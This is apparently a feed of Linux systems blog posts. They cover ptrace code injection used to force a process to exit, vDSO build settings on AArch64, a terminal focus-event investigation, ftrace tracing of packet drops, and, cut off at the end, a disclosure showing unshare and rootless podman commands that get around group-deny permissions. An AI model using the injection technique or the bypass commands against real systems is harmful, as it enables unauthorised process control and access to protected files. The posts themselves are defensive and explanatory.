mov $231, %rax	; __NR_exit_group
mov $0, %rdi	; 1st parameter to exit_group is 0
syscall		; Fire system call

Since the first two instructions set up only the system call parameters⁷, it is also possible to set all registers needed for the system call setup using the saved register set. That way only one instruction opcode needs to be written into the memory of the target process. So, the only code to write is the system call opcode. For x86_64 it is 0x0f, 0x05.

We could even go a step further and execute the system call without writing to any memory location at all. By analyzing /proc/PID/maps of the target process it is possible to scan every memory mapping that has the executable bit set for the syscall opcode and make the program counter point to it. The drawback of this approach is that searching for the syscall opcode might take a long time because a significant amount of memory needs to be searched.

The final approach is:

1. Rewind the program counter to the beginning of the current page.
2. Set the saved registers according to the Linux syscall ABI⁷.
3. Write the syscall opcode into the executable page.
4. Restore the registers using PTRACE_SETREGSET.
5. Continue the thread using PTRACE_CONT.

The attentive reader may wonder how it’s possible to write to an executable page when most memory areas in Linux are set as read-only. The answer is that these restrictions apply only to userspace. Since we’re writing through the kernel, we can easily alter read-only areas.

Once the thread is resumed, it will execute from the new program counter location. The syscall opcode will transition to kernel context and execute the exit_group() system call as configured in the register set.

For x86_64, one anomaly to consider is if the thread was executing a system call when we interrupted it; the kernel may attempt to restart the system call after PTRACE_CONT. To disable the system call restart mechanism, we need to set the orig_rax⁸ pseudo register in the saved register set to -1.

The Result

The end result is a tool called exit0, compatible with both x86_64 and AArch64 architectures. The only command-line parameter it requires is the target process ID. It is capable of terminating any process for which the caller has ptrace() permissions, with an exit code of 0.

Summary

Code injection is not a straightforward technique and should be employed with caution. However, it is not exclusively used by malicious programs. Similar to exit0, there are legitimate use cases. exit0 can be viewed as a proof of concept. The assessment of its utility or potential danger is subjective and depends on the reader’s perspective.

---

1. signal(7) Linux manual page ↩︎

2. kill(1) Linux manual page ↩︎

3. ptrace(2) Linux manual page ↩︎

4. process_vm_writev(2) Linux manual page ↩︎

5. proc(5) Linux manual page ↩︎

6. exit_group(2) Linux manual page ↩︎

7. syscall(2) Linux manual page ↩︎ ↩︎

8. Linux Kernel x86 orig_rax handling ↩︎

]]>https://sigma-star.at/blog/2024/02/aarch64-32-bit-compat-pitfall/Wed, 14 Feb 2024 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2024/02/aarch64-32-bit-compat-pitfall/A Time Consuming Pitfall for 32-bit Applications on AArch64

It’s common to run 32-bit legacy applications on 64-bit Linux systems. Similar to many other architectures, AArch64 (referred to as arm64 in the context of Linux) also supports this. When you build the Linux kernel for this scenario, you have to enable the CONFIG_COMPAT option in the kernel config.

However, there’s one potential issue I’d like to highlight. Unlike on x86_64, where the same GCC toolchain can generate both 64-bit and 32-bit programs (controlled by the -m32 switch), AArch64 requires two separate GCC toolchains. So, what’s the challenge when running a 64-bit kernel? The problem lies in the virtual dynamic shared object (vDSO)¹. To support a vDSO for 32-bit ARM applications, the kernel requires a second toolchain during the build process.

]]>A Time Consuming Pitfall for 32-bit Applications on AArch64

It’s common to run 32-bit legacy applications on 64-bit Linux systems. Similar to many other architectures, AArch64 (referred to as arm64 in the context of Linux) also supports this. When you build the Linux kernel for this scenario, you have to enable the CONFIG_COMPAT option in the kernel config.

However, there’s one potential issue I’d like to highlight. Unlike on x86_64, where the same GCC toolchain can generate both 64-bit and 32-bit programs (controlled by the -m32 switch), AArch64 requires two separate GCC toolchains. So, what’s the challenge when running a 64-bit kernel? The problem lies in the virtual dynamic shared object (vDSO)¹. To support a vDSO for 32-bit ARM applications, the kernel requires a second toolchain during the build process.

If you simply enable CONFIG_COMPAT without setting up CROSS_COMPILE_COMPAT to an AArch32 cross compiler, the resulting kernel won’t supply a vDSO to 32-bit applications. While these applications will run smoothly, they won’t enjoy the advantages of the vDSO.

On the other hand, if you’re building the kernel with clang, setting CROSS_COMPILE_COMPAT is not needed. This is because the same clang toolchain can produce code for different CPU architectures.

The Role of the vDSO

The vDSO provides the functionality of specific syscalls without requiring a switch into the kernel context. Instead, the kernel places sufficient information into a memory region accessible to userspace to achieve the same functionality. An example of this is the gettimeofday(2)² system call. Utilizing the vDSO for querying the current time eliminates the need for a context switch, resulting in a faster operation.

This is where forgetting to set CROSS_COMPILE_COMPAT can have a significant impact. If you solely rely on CONFIG_COMPAT without configuring CROSS_COMPILE_COMPAT, your legacy application will incur a context switch for each gettimeofday(2) call. While most applications may not be affected, those with strict time constraints requiring frequent timestamp retrieval, such as real-time applications, could face issues due to this.

I encountered this issue when I observed the absence of the vDSO for a legacy application on an AArch64-platform and became curious about its impact. To assess the effect, I conducted a small benchmark. The benchmark involves querying the current time using gettimeofday(2) 500000 times on a Raspberry Pi 3 B+, comparing the performance with and without the presence of a vDSO.

#include <stdio.h>
#include <sys/time.h>

int main(void)
{
        struct timeval tv1, tv2, tvtmp;
        unsigned long total;
        int i;

        gettimeofday(&tv1, NULL);
        for (i = 0; i < 500000; i++) {
              gettimeofday(&tvtmp, NULL);
        }
        gettimeofday(&tv2, NULL);

        total = ((tv2.tv_sec * 1000000) + tv2.tv_usec) - ((tv1.tv_sec * 1000000) + tv1.tv_usec);
        printf("%ld\n", total);

        return 0;
}

Test	Duration (us)
without vDSO	1905827
with vDSO	68856

As illustrated, the benchmark runs more than 25 times slower without the vDSO.

Integrating CROSS_COMPILE_COMPAT Support into Yocto

Fixing the problem for my current project turned out to be a little more work, and in this case, I used Yocto. I found out the hard way that nobody else had considered CROSS_COMPILE_COMPAT before me. So, I had to patch the kernel bitbake class in Yocto to be able to use the second 32-bit toolchain while building the kernel.

diff --git a/meta/classes-recipe/kernel.bbclass b/meta/classes-recipe/kernel.bbclass
index 16b85dbca4..6fcbb1e41b 100644
--- a/meta/classes-recipe/kernel.bbclass
+++ b/meta/classes-recipe/kernel.bbclass
@@ -208,6 +208,39 @@ PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-module-.*"
 PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-image-.*"
 PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-firmware-.*"
 
+def get_arm32_prefix(d):
+    arm_prefix = ''
+
+    if d.getVar('TARGET_ARCH').startswith('aarch64'):
+        pfxs = all_multilib_tune_values(d, 'TARGET_PREFIX').split()
+        for p in pfxs:
+           if p.startswith("arm-"):
+               arm_prefix = p
+
+    return arm_prefix
+
+def arm32_full_prefix(d):
+    pfx = get_arm32_prefix(d)
+    if pfx == '':
+        return ''
+
+    ps = all_multilib_tune_values(d, 'STAGING_BINDIR_TOOLCHAIN').split()
+    for p in ps:
+        if p.endswith(pfx[:-1]):
+            return p + '/' + pfx
+
+    return ''
+
+def arm32_gcc_dep(d):
+    pfx = get_arm32_prefix(d)
+    if pfx != '':
+        return 'virtual/' + pfx + 'gcc'
+    else:
+        return ''
+
+DEPENDS += "${@arm32_gcc_dep(d)}"
+export CROSS_COMPILE_COMPAT="${@arm32_full_prefix(d)}"
+
 export OS = "${TARGET_OS}"
 export CROSS_COMPILE = "${TARGET_PREFIX}"

My patch³ is currently under review, and I’m hopeful that it will be merged soon.

Checking for the Availability of a vDSO

If you’re not sure whether a program can benefit from a vDSO, Linux offers multiple ways to check. Linux exposes the address of the vDSO via the auxiliary vector AT_SYSINFO_EHDR; this way, even statically linked programs can find and load the vDSO. Using the glibc helper function getauxval(3)⁴, a program can check itself whether a vDSO is available. The following snippet shows how:

#include <stdio.h>
#include <sys/auxv.h>

int main(void)
{
        if (getauxval(AT_SYSINFO_EHDR))
                printf("vDSO available!\n");
        else
                printf("No vDSO available!\n");

        return 0;
}

If the program is dynamically linked, the environment variable LD_SHOW_AUXV⁵ can be used to dump the auxiliary vector before the program is executed. If AT_SYSINFO_EHDR shows up, a vDSO is available.

root@target:~# LD_SHOW_AUXV=1 /bin/program
[...]
AT_SYSINFO_EHDR:      0xf7f6a000
[...]
root@target:~#

Summary

When building an AArch64 kernel intended to run legacy applications, ensure that CROSS_COMPILE_COMPAT is directed to a 32-bit toolchain. Failure to do so might lead to performance issues. Additionally, confirm that the build system you are using supports the configuration of CROSS_COMPILE_COMPAT. As of today, neither Yocto (actually OpenEmbedded), Buildroot, nor PTXdist sets CROSS_COMPILE_COMPAT.

---

1. vdso(7) Linux manual page ↩︎

2. gettimeofday(2) Linux manual page ↩︎

3. OpenEmbedded CROSS_COMPILE_COMPAT Patch ↩︎

4. getauxval(3) Linux manual page ↩︎

5. ld.so(8) Linux manual page ↩︎

]]>https://sigma-star.at/blog/2023/11/paranormal-shell-activities/Fri, 17 Nov 2023 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2023/11/paranormal-shell-activities/Investigating Paranormal Shell Activities

Recently, while attending a conference, I observed an unusual occurrence in my terminal emulator: terminal tab windows were getting highlighted without any apparent notification within the shell session. Time to unpack our trusty debugging tools to uncover the mystery behind these activities.

Once a tab encountered this issue, it persisted in being highlighted until I closed the affected tab and opened a new one. Another peculiar symptom manifested when certain terminal applications, running within the affected (or possibly infected?) terminal, displayed strange sequences of characters like ^I^O^I^O. Given that the conference I was attending focused on security, my heightened awareness prompted me to investigate the root cause of this issue. Upon returning to my hotel room, I delved further into the matter, particularly after noticing that additional tabs were affected by the highlighting problem.

]]>Investigating Paranormal Shell Activities

Recently, while attending a conference, I observed an unusual occurrence in my terminal emulator: terminal tab windows were getting highlighted without any apparent notification within the shell session. Time to unpack our trusty debugging tools to uncover the mystery behind these activities.

Once a tab encountered this issue, it persisted in being highlighted until I closed the affected tab and opened a new one. Another peculiar symptom manifested when certain terminal applications, running within the affected (or possibly infected?) terminal, displayed strange sequences of characters like ^I^O^I^O. Given that the conference I was attending focused on security, my heightened awareness prompted me to investigate the root cause of this issue. Upon returning to my hotel room, I delved further into the matter, particularly after noticing that additional tabs were affected by the highlighting problem.

Hunting for Ghosts

The initial step involved inspecting a tab affected by the issue. Despite examining tab-specific settings in the terminal emulator, no alarming findings emerged. Consequently, I turned my attention to the shell itself and employed the strace system call tracer¹. The objective was to investigate whether the highlighting originated from keyboard events or similar triggers, entertaining the possibility that my laptop keyboard might be malfunctioning.

Tracing read() and write() syscalls promptly revealed that my shell was indeed receiving input without any corresponding keystrokes from my end. Specifically, the shell was consistently receiving three characters: \033 (hex 0x1b), [, followed by either I or O. Subsequently, the shell emitted another character, consistently \7.

read(0, "\33", 1)                       = 1
read(0, "[", 1)                         = 1
read(0, "I", 1)                         = 1
write(2, "\7", 1)                       = 1

As I examined the strace output further, a realization struck me - 0x07 corresponds to the ASCII bell character (BEL²). This discovery literally rang a bell inside my head. It explained why the terminal emulator highlighted the tab, aligning perfectly with the expected behavior when the shell writes BEL to the output stream.

However, 0x1b, [ and I or O still puzzled me. I was already aware that octal 033 represents the escape character³. These days, such sequences are commonly used in the shell PS1 variable for creating visually appealing terminals. Although, in my case, it wasn’t related to color formatting. My attempts to search for the three-byte sequence online proved challenging due to its non-google-friendly nature, with multiple possible representations. Subsequent searches involving only the escape character and “KDE Konsole” my terminal emulator, led me to the Konsole source code on GitHub. Trusting my instincts, I delved into the Konsole source code, specifically searching for [I and [O. This search led me to a C++ method called Vt102Emulation::focusChanged⁴.

void Vt102Emulation::focusChanged(bool focused)
{
    if (_reportFocusEvents) {
        sendString(focused ? "\033[I" : "\033[O");
    }
}

It became clear that on every tab focus change, Konsole’s code was triggering the peculiar sequence. Specifically, on each tab focus change, Konsole sends either \033[I or \033[O to the shell. So far, so good. However, the mystery remained as to why I only observed this behavior on certain tabs.

Further exploration of Konsole’s source code revealed that sending the three-byte sequence is governed by the variable _reportFocusEvents, and this variable, in turn, is influenced by control sequence \033[?1004h resp. \033[?1004l. Indeed, executing the command echo -ne "\033[?1004l in an affected terminal instantaneously cured the issue. Reading these sequences is sometimes not obvious, a control sequence typically consists of an ASCII ESC character, a CSI (Control Sequence Introducer, [ in our case), and parameters. These days they are mostly used for colorful⁵ output in the shell. Enabling focus events is defined by XTerm⁶ as CSI ? 1004 h and disabling as CSI ? 1004 h, KDE Konsole follows this definition.

The question still lingers: why aren’t all tabs affected, and why didn’t I notice the problem earlier? It dawned on me that there might be a program enabling focus reporting on the affected tabs. Upon further reflection, I realized that the issue occurred exclusively on tabs I used to ssh into a particular server. Considering my unreliable internet connection leading to frequent ssh timeouts and remote shell terminations, it occurred to me: What if some program on the remote server is enabling focus reporting and leaving it enabled?

An examination of my bash history revealed that I primarily used git, vim, qemu, and other fundamental shell tools - nothing out of the ordinary. To delve deeper, I conducted additional research to determine if any of these tools, git, vim, or qemu made use of focus reporting. As it turned out, the newer version of vim, version 9, indeed includes support for focus events⁷. It suddenly struck me that I had recently upgraded to this latest version on the remote server.

To verify the hypothesis, I have created the following bpftrace⁸ script:

tracepoint:syscalls:sys_enter_write
/uid == 1000 && args->fd == 1 && args->count < 64/
{
        if (strcontains(str(args->buf, args->count), "\033[?1004h")) {
                printf("process %s (%d) enabled focus events\n", comm, pid);
        } else if (strcontains(str(args->buf, args->count), "\033[?1004l")) {
                printf("process %s (%d) disabled focus events\n", comm, pid);
        }
}

It checks whether a program run by me (uid 1000) writes the focus events enable or disable control sequence to stdout.

Indeed, vim enables these events upon start and disables them later upon regular exit.

$ bpftrace csi_write.bt
Attaching 1 probe...
process vi (18811) enabled focus events
process vi (18811) disabled focus events

From now on the following two lines are part of my .vimrc:

set t_fd=
set t_fe=

They make sure to have vim’s focus reporting feature disabled: I don’t need it.

Summary

Whenever a vim session was interrupted due to a connection timeout on this particular server, it left focus reporting enabled on my laptop’s shell. This, in turn, caused the shell to emit bell events, and explained why I occasionally observed ^I^O when running programs that didn’t consume any input. The recurrent issues with my internet connection played a crucial role in triggering this situation frequently. The interruptions in the connection led to instances where vim on the remote server was abruptly terminated, failing to disable focus reporting in the process.

Indeed, there were no ghosts in my shell - just a case of me getting a bit rusty with remembering shell control sequences, coupled with a problematic internet connection and an upgraded vim.

---

1. strace ↩︎

2. Bell character ↩︎

3. console_codes(4) - Linux manual page ↩︎

4. KDE Konsole source ↩︎

5. Bash Prompt HOWTO: Colours ↩︎

6. XTerm Control Sequences ↩︎

7. VIM xterm-focus-event ↩︎

8. bpftrace website ↩︎

]]>https://sigma-star.at/blog/2023/11/ftrace-skb-drop/Thu, 02 Nov 2023 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2023/11/ftrace-skb-drop/Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way

Linux offers a rich set of debugging tools that allow the kernel to be instrumented, enabling a better understanding of its internals. Today, we’d like to show you a way to understand packet drops without the need for any additional tools to be installed. Suppose you need to understand why your machine is discarding packets, the first tools you might think about are tools like perf¹ and dropwatch². However, what if none of these tools are installed, and you cannot install anything extra? What if all we have is a shell? In that case, it’s time to lol, living off the land.

]]>Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way

Linux offers a rich set of debugging tools that allow the kernel to be instrumented, enabling a better understanding of its internals. Today, we’d like to show you a way to understand packet drops without the need for any additional tools to be installed. Suppose you need to understand why your machine is discarding packets, the first tools you might think about are tools like perf¹ and dropwatch². However, what if none of these tools are installed, and you cannot install anything extra? What if all we have is a shell? In that case, it’s time to lol, living off the land.

Introduction

Let’s consider a scenario where we need to understand where and at which point in the Linux network stack packets are being dropped. This is a task that senior system administrators sometimes have to tackle, and it’s also essential for pentesters when assessing the effectiveness of crafted packets.

Before we delve into the details, let’s clarify a few key aspects of packets within Linux’s network stack. In the kernel, a packet is referred to as a “socket buffer”³, commonly abbreviated as skbuff or just skb. A skb is a versatile data structure capable of holding various types of network packets. skbuffs are passed through the network stack both upwards and downwards. Different components in the stack can choose to pass the skb along, modify it, consume it, or release it.

Technically, both consuming and releasing it mean returning the buffer’s memory to the allocator and destroying the socket buffer data structure. Linux distinguishes between successful deliveries and error conditions where the network stack gives up on a particular packet. In this context, we’re concerned with the latter scenario.

The Linux Function Tracer: ftrace

A debugging gem hidden deep within the Linux kernel is the function tracer⁴, often referred to as “ftrace.” Normally, it acts as the backbone for high-level tools like trace-cmd⁵ or perf. However, even when you have virtually nothing installed, you can still leverage the function tracer through a filesystem-based interface.

This interface is provided by tracefs, which is typically mounted at /sys/kernel/debug/tracing. This assumes that the function trace feature is enabled in the kernel configuration, which is usually the case. One notable feature of ftrace is that it imposes zero runtime overhead when disabled.

While ftrace certainly merits its own extensive blog series due to its wealth of functionality, for now, let’s keep it minimal and focused. For the purposes of this blog post, all file paths are considered relative to /sys/kernel/debug/tracing/. ftrace records all events into a trace buffer, and you can access this buffer by reading from the file named trace_pipe. A straightforward cat trace_pipe command will provide a continuous stream of events if any are present. However, it’s important to note that if there are no events, the cat command will block and wait for events to appear.

Let’s Hunt for Dropped Packets

Based on our exploration of the kernel source code, we’ve already identified a function called kfree_skb(), which is responsible for destroying a socket buffer (skbuff). Our expectation is that this function is primarily used for non-consuming destruction, which means it’s applied every time the network stack gives up on a packet, resulting in the packet being discarded.

Now, let’s search for the function using ftrace:

$ grep -e kfree_skb available_filter_functions 
kfree_skbmem
kfree_skb_reason
kfree_skb_list_reason
__kfree_skb
kfree_skb_partial
__kfree_skb_defer
__dev_kfree_skb_irq
__dev_kfree_skb_any
rtnl_kfree_skbs
__traceiter_kfree_skb
trace_kfree_skb_hit
net_dm_packet_trace_kfree_skb_hit

Nice! There is a __kfree_skb, sounds good. Let’s tell ftrace to trace every invocation of this function and arm the function tracer.

$ echo __kfree_skb > set_ftrace_filter
$ echo function > current_tracer
$ echo > trace # just in case, clear old contents in the buffer
$ cat trace_pipe
      napi/-8411-1777    [006] b..2. 713195.705113: __kfree_skb <-tcp_ack
      napi/-8411-1777    [006] b..2. 713195.705120: __kfree_skb <-tcp_rcv_established
[.. over and over ...]
      napi/-8411-1777    [006] b..2. 713229.810263: __kfree_skb <-tcp_ack
      napi/-8411-1777    [006] b..2. 713229.810271: __kfree_skb <-tcp_rcv_established

Dang! That’s a lot of output. Looks like __kfree_skb() is always called for both consuming and non-consuming releases of an skb. Let’s disable ftrace again.

$ echo nop > current_tracer
$ echo > set_ftrace_filter
$ echo > trace

Continuing our exploration of the network code, we’ve discovered the function kfree_skb_reason(). This function utilizes __kfree_skb() but takes a crucial function parameter: the “reason”. This appears to be precisely what we’re looking for. The reason is of type enum skb_drop_reason as defined in include/net/dropreason-core.h. These reasons encompass values such as SKB_CONSUMED, SKB_DROP_REASON_NO_SOCKET, and SKB_DROP_REASON_NETFILTER_DROP.

Our goal is to trace every invocation of kfree_skb_reason() when the reason is not equal to SKB_CONSUMED. This will help us monitor situations where the network stack abandons a packet for reasons other than consumption.

In our quest to trace and analyze events deeper in the kernel, we encounter a limitation with ftrace’s basic function tracing. It permits us to filter events based on the function name but doesn’t provide access to function arguments. Moreover, we only observe function calls without their associated arguments, making a simple grep -v on the trace_pipe file insufficient.

To overcome this limitation, we can delve deeper into ftrace’s capabilities, particularly by leveraging custom probes known as “kprobes”⁶. A kprobe essentially serves as a probe point within the kernel and can be set at various locations, including function entry, function return, or anywhere within a function. By probing at the function entry, we gain access to the function’s arguments, allowing for more detailed analysis and tracing.

Manually installing a new kprobe is a bit cumbersome. In our case, we want to probe the function kfree_skb_reason(). To set up the kprobe, we need to inform ftrace how to access the function’s arguments, which can be machine-specific. In this example, we’ll use an x86_64 laptop. On this architecture, the Linux kernel adheres to the System V AMD64 ABI, where the first function argument is stored in the DI register, and the second one is stored in the SI register.

Setting up a kprobe requires specifying a name and a format string. We can use the register names in the format string to access the function’s arguments for analysis.

$ echo 'p:my_skb_probe kfree_skb_reason skb=%di:u64 reason=%si:u64' > kprobe_events

After this command a new directory named my_skb_probe will show up in events/kprobes/. Let’s arm it and read from the trace buffer.

$ echo 1 > events/kprobes/my_skb_probe/enable
$ echo > trace
$ cat trace_pipe
     ksoftirqd/1-23      [001] ..s.. 714457.274916: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415795712 reason=2
	  <idle>-0       [001] ..s1. 714457.290757: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415795200 reason=2
	  <idle>-0       [001] ..s1. 714457.306989: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415797504 reason=2
	  <idle>-0       [001] ..s1. 714457.323109: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304559104 reason=2
	  <idle>-0       [001] .Ns1. 714457.342760: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304564736 reason=2
	  <idle>-0       [001] .Ns1. 714457.358760: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304561664 reason=2
	  <idle>-0       [010] ..s1. 714457.366230: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=0 reason=2
  kworker/u32:33-28725   [004] ..... 714457.366293: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617057572911104 reason=2
	  <idle>-0       [001] .Ns1. 714457.374797: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304564992 reason=2

While we’ve made progress, there are still many events. However, we can now clearly see the reasons, with reason number 2 representing SKB_DROP_REASON_NOT_SPECIFIED.

To filter the events more effectively using ftrace, we can instruct it to only emit events when the reason is larger than 2. We use “larger” because values 0 and 1 correspond to SKB_NOT_DROPPED_YET and SKB_CONSUMED. This approach will allow us to focus on events where the network stack discards packets for reasons other than these two.

$ echo "reason > 2" > events/kprobes/my_skb_probe/filter
$ echo > trace
$ cat trace_pipe
napi/-8412-1778    [014] b.... 714699.253491: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617078699127552 reason=3

Excellent, by filtering for events with a reason larger than 2, we’ve successfully narrowed down the events to a more manageable and meaningful set. Now we’re able to focus on events that truly matter. Reason number 3 corresponds to SKB_DROP_REASON_NO_SOCKET, which, in your case, is associated with your test program attempting to connect to a closed port using telnet.

While it’s beneficial to see when Linux drops a packet, the events themselves provide limited information, primarily just the reason number. To gain deeper insights into the process and understand the path the skbuff took through the network stack, the next step is to print a stack trace. This will enable us to visualize the call chain and, hopefully, learn more about the skbuff’s journey within the network stack.

Every event in ftrace can be equipped with triggers, and one trigger type involves printing a stack trace.

$ echo 'stacktrace if reason > 2' > events/kprobes/my_skb_probe/trigger 
$ echo > trace
$ cat trace_pipe
      napi/-8412-1778    [014] b.... 715083.709832: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617059302153472 reason=3
      napi/-8412-1778    [014] b..1. 715083.709868: <stack trace>
 => kprobe_trace_func
 => kprobe_dispatcher
 => kprobe_ftrace_handler
 => create_port
 => kfree_skb_reason
 => tcp_v4_rcv
 => ip_protocol_deliver_rcu
 => ip_local_deliver_finish
 => __netif_receive_skb_core.constprop.0
 => __netif_receive_skb_list_core
 => netif_receive_skb_list_internal
 => napi_complete_done
 => ath11k_pcic_ext_grp_napi_poll
 => __napi_poll
 => napi_threaded_poll
 => kthread
 => ret_from_fork

Now we see that the dropped packet arrived through the ath11k WiFi driver, and the function tcp_v4_rcv() decided to drop it on the floor!

To disable the custom probe run:

$ echo 0 > events/kprobes/my_skb_probe/enable
$ echo '!stacktrace if reason > 2' > events/kprobes/my_skb_probe/trigger
$ echo > kprobe_events

Using Tracepoints

Delving into the intricacies of kernel internals and machine-specific function call ABI details can be quite challenging and may not be necessary for everyone. Fortunately, Linux provides a more accessible solution through predefined kprobes known as tracepoints. These tracepoints are strategically placed at crucial locations in the kernel where regular function tracing might not provide sufficient context. In the case of the Linux network stack, the maintainers have thoughtfully provided tracepoints for various skbuff operations. This makes it easier for users to access and gather meaningful information without the need to delve too deeply into the kernel’s internals.

$ ls -1 events/skb
consume_skb
enable
filter
kfree_skb
skb_copy_datagram_iovec

consume_skb and kfree_skb look promising! In the event directory is also a file called format which describes the event.

$ cat events/skb/kfree_skb/format 
name: kfree_skb
[.. skipped output ..]
	field:void * skbaddr;   offset:8;       size:8; signed:0;
	field:void * location;  offset:16;      size:8; signed:0;
	field:unsigned short protocol;  offset:24;      size:2; signed:0;
	field:enum skb_drop_reason reason;      offset:28;      size:4; signed:0;
[.. skipped output ..]

The event can provide us with the drop reason. Let’s enable it and filter for reason > 2

$ echo 1 > events/skb/kfree_skb/enable 
$ echo "reason > 2" > events/skb/kfree_skb/filter
$ echo > trace
$ cat trace_pipe
  napi/-8411-1777    [006] b.... 715880.566050: kfree_skb: skbaddr=000000002d74f5c5 protocol=2048 location=tcp_v4_rcv+0x7d/0xf20 reason: NO_SOCKET

The reason has even a symbolic name and we immediately see the caller! Having a stack trace is of course also possible.

$ echo 'stacktrace if reason > 2' > events/skb/kfree_skb/trigger
$ cat trace_pipe
      napi/-8411-1777    [006] b.... 715962.431448: kfree_skb: skbaddr=0000000096888eda protocol=2048 location=tcp_v4_rcv+0x7d/0xf20 reason: NO_SOCKET
      napi/-8411-1777    [006] b..1. 715962.431472: <stack trace>
 => trace_event_raw_event_kfree_skb
 => kfree_skb_reason
 => tcp_v4_rcv
 => ip_protocol_deliver_rcu
 => ip_local_deliver_finish
 => __netif_receive_skb_core.constprop.0
 => __netif_receive_skb_list_core
 => netif_receive_skb_list_internal
 => napi_complete_done
 => ath11k_pcic_ext_grp_napi_poll
 => __napi_poll
 => napi_threaded_poll
 => kthread
 => ret_from_fork

ftrace with Tracepoints In Action

Why didn’t we immediately demonstrate the easy way using tracepoints? Because learning something the hard way helps in understanding the basics. Additionally, not all interesting areas in the kernel have matching tracepoints, so sooner or later, you may need to add your own kprobes.

Summary

Even with no tracing-specific tooling installed, Linux allows for advanced debugging using a file-based interface. Using the function trace, ftrace, it’s possible to inspect the kernel’s internals easily. In this example, we used ftrace to understand how and where network packets are dropped.

---

1. Perf Wiki ↩︎

2. dropwatch Git Repository ↩︎

3. struct sk_buff - The Linux Kernel Documentation ↩︎

4. ftrace - Function Tracer - The Linux Kernel Documentation ↩︎

5. tracecmd Website ↩︎

6. Kprobe-based Event Tracing - The Linux Kernel Documentation ↩︎

]]>https://sigma-star.at/blog/2023/08/no-love-for-negative-permissions/Thu, 31 Aug 2023 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2023/08/no-love-for-negative-permissions/No Love for Negative Permissions

TL;DR: Avoid using negative permissions; on modern Linux systems, they can be circumvented.

Linux offers a diverse range of methods for implementing file permissions. In addition to the traditional discretionary access control (DAC), it also supports access control lists (ACL) and mandatory access control (MAC). Typically, all of these methods operate in a positive manner, meaning that each established permission configuration grants power. By default, nothing is permitted. This approach is also occasionally termed white or allow listing. However, both DAC and ACL do allow the implementation of negative permissions. Negative permissions deny access to certain users or groups while everybody else retains access. This practice is much less common and is widely seen as a poor security practice within the community.

]]>No Love for Negative Permissions

TL;DR: Avoid using negative permissions; on modern Linux systems, they can be circumvented.

Linux offers a diverse range of methods for implementing file permissions. In addition to the traditional discretionary access control (DAC), it also supports access control lists (ACL) and mandatory access control (MAC). Typically, all of these methods operate in a positive manner, meaning that each established permission configuration grants power. By default, nothing is permitted. This approach is also occasionally termed white or allow listing. However, both DAC and ACL do allow the implementation of negative permissions. Negative permissions deny access to certain users or groups while everybody else retains access. This practice is much less common and is widely seen as a poor security practice within the community.

With the advent of Linux containers, the landscape has shifted, rendering negative permissions not only a poor practice but also susceptible to bypass attacks. In contemporary Linux systems, there’s a significant likelihood that users can sidestep negative permissions and potentially gain entry to protected files.

Example of Negative Permissions

Let’s consider a scenario where everyone has access to the /usr/share/games folder. However, there’s a desire to prevent specific users from playing games. To achieve this, a new group called nogames is established, and a negative permission is implemented to deny access for members belonging to this group.

1 2 3 4 5

root@host$ groupadd nogames root@host$ usermod -G nogames bob root@host$ usermod -G nogames john root@host$ chown root:nogames /usr/share/games/ root@host$ chmod u=rwx,g=,o=rx-w /usr/share/games/

Now, users bob and john are effectively restricted from accessing the /usr/share/games directory. This outcome is achieved due to the priority sequence: user DAC entries take precedence over group, and group takes precedence over other. Given that both bob and john belong to the nogames group, the permissions established for the nogames group take precedence, resulting in no granted permissions for them. Conversely, for all other users, either the user or the other entities come into play. The same objective can also be accomplished using Access Control Lists (ACLs) in place of discretionary access control (DAC). For instance, you can implement an ACL using a command like setfacl -m g:nogames:--- /usr/share/games.

Exploiting the Problem

Certainly, if a user manages to remove themselves from the nogames group, access would be restored. The setgroups()¹ system call enables the modification of supplementary groups associated with the current process. Naturally, such an operation requires privileged capabilities, specifically the CAP_SETGID capability. This mechanism highlights the significance of managing privileges and group memberships to effectively uphold the desired access controls.

With the advent of Linux containers, particularly user namespaces, the dynamics have shifted. In a user namespace, an unprivileged user possesses all capabilities. However, every action taking place within the namespace is associated with the user and group IDs of the namespace’s creator. For enabling rootless container engines like podman, the shadow-utils package includes a lesser-known toolkit: newuidmap² and newgidmap³. These tools are either set-uid-root or possess the file capability CAP_SETGID. By utilizing these tools, users can establish a fresh user namespace and set up UID and GID mappings that target distinct IDs from those of the invoking task. These mappings are maintained in /etc/subuid and /etc/subgid. When a user is created, the useradd tool configures these designated subordinate IDs.

Having multiple group ID mappings in place empowers a process within a user namespace once again to employ the setgroups() syscall, allowing it to shed supplementary groups at its discretion!

1 2 3 4

bob@host$ ls /usr/share/games ls: cannot open directory '/usr/share/games': Permission denied bob@host$ unshare -G 0 --map-groups=100000,0,1 ls /usr/share/games atc boggle quiz

The unshare tool internally employs newuidmap and newgidmap. By consulting /etc/subgid, we know that the user named bob can utilize the subordinate group ID 100000.

1 2 3 4

bob@host$ ls /usr/share/games ls: cannot open directory '/usr/share/games': Permission denied bob@host$ podman run --rm -it -v /:/xxx/ docker.io/bash ls /xxx/usr/share/games atc boggle quiz

podman in rootless mode can also be utilized to achieve the same result.

User based Negative Permissions

An attentive reader might wonder about negative permissions based on users, as we’ve mostly talked about groups so far. Consider a scenario involving negative ACLs like this: let’s say we want to prevent user bob from accessing games using an ACL command like setfacl -m u:bob:--- /usr/share/games. Once again, using unshare along with newuidmap proves to be effective. However, this time, it doesn’t involve dropping additional groups. Instead, it works by changing the effective user ID to one within a specific range.

1 2 3 4

